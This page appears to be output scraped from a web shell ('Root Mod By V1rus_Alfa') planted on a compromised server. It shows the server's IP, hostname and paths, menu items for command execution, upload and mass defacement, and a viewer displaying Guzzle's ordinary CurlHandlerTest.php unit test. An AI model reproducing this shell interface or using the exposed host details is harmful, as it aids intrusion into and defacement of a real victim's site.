���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
vendor
/
guzzlehttp
/
guzzle
/
tests
/
Handler
/
Viewing: CurlHandlerTest.php
<?php namespace GuzzleHttp\Test\Handler; use GuzzleHttp\Exception\ConnectException; use GuzzleHttp\Handler\CurlHandler; use GuzzleHttp\Promise\FulfilledPromise; use GuzzleHttp\Psr7; use GuzzleHttp\Psr7\Request; use GuzzleHttp\Psr7\Response; use GuzzleHttp\Tests\Server; use GuzzleHttp\Utils; use PHPUnit\Framework\TestCase; /** * @covers \GuzzleHttp\Handler\CurlHandler */ class CurlHandlerTest extends TestCase { protected function getHandler($options = []) { return new CurlHandler($options); } public function testCreatesCurlErrors() { $handler = new CurlHandler(); $request = new Request('GET', 'http://localhost:123'); $this->expectException(ConnectException::class); $this->expectExceptionMessage('cURL'); $handler($request, ['timeout' => 0.001, 'connect_timeout' => 0.001])->wait(); } public function testRedactsUserInfoInErrors() { $handler = new CurlHandler(); $request = new Request('GET', 'http://my_user:secretPass@localhost:123'); try { $handler($request, ['timeout' => 0.001, 'connect_timeout' => 0.001])->wait(); $this->fail('Must throw an Exception.'); } catch (\Throwable $e) { $this->assertStringNotContainsString('secretPass', $e->getMessage()); } } public function testReusesHandles() { Server::flush(); $response = new Response(200); Server::enqueue([$response, $response]); $a = new CurlHandler(); $request = new Request('GET', Server::$url); self::assertInstanceOf(FulfilledPromise::class, $a($request, [])); self::assertInstanceOf(FulfilledPromise::class, $a($request, [])); } public function testDoesSleep() { $response = new Response(200); Server::enqueue([$response]); $a = new CurlHandler(); $request = new Request('GET', Server::$url); $s = Utils::currentTime(); $a($request, ['delay' => 0.1])->wait(); self::assertGreaterThan(0.0001, Utils::currentTime() - $s); } public function testCreatesCurlErrorsWithContext() { $handler = new CurlHandler(); $request = new Request('GET', 'http://localhost:123'); $called = false; $p = $handler($request, ['timeout' => 0.001, 'connect_timeout' => 0.001]) ->otherwise(static function (ConnectException $e) use (&$called) { $called = true; self::assertArrayHasKey('errno', $e->getHandlerContext()); }); $p->wait(); self::assertTrue($called); } public function testUsesContentLengthWhenOverInMemorySize() { Server::flush(); Server::enqueue([new Response()]); $stream = Psr7\Utils::streamFor(\str_repeat('.', 1000000)); $handler = new CurlHandler(); $request = new Request( 'PUT', Server::$url, ['Content-Length' => 1000000], $stream ); $handler($request, [])->wait(); $received = Server::received()[0]; self::assertEquals(1000000, $received->getHeaderLine('Content-Length')); self::assertFalse($received->hasHeader('Transfer-Encoding')); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa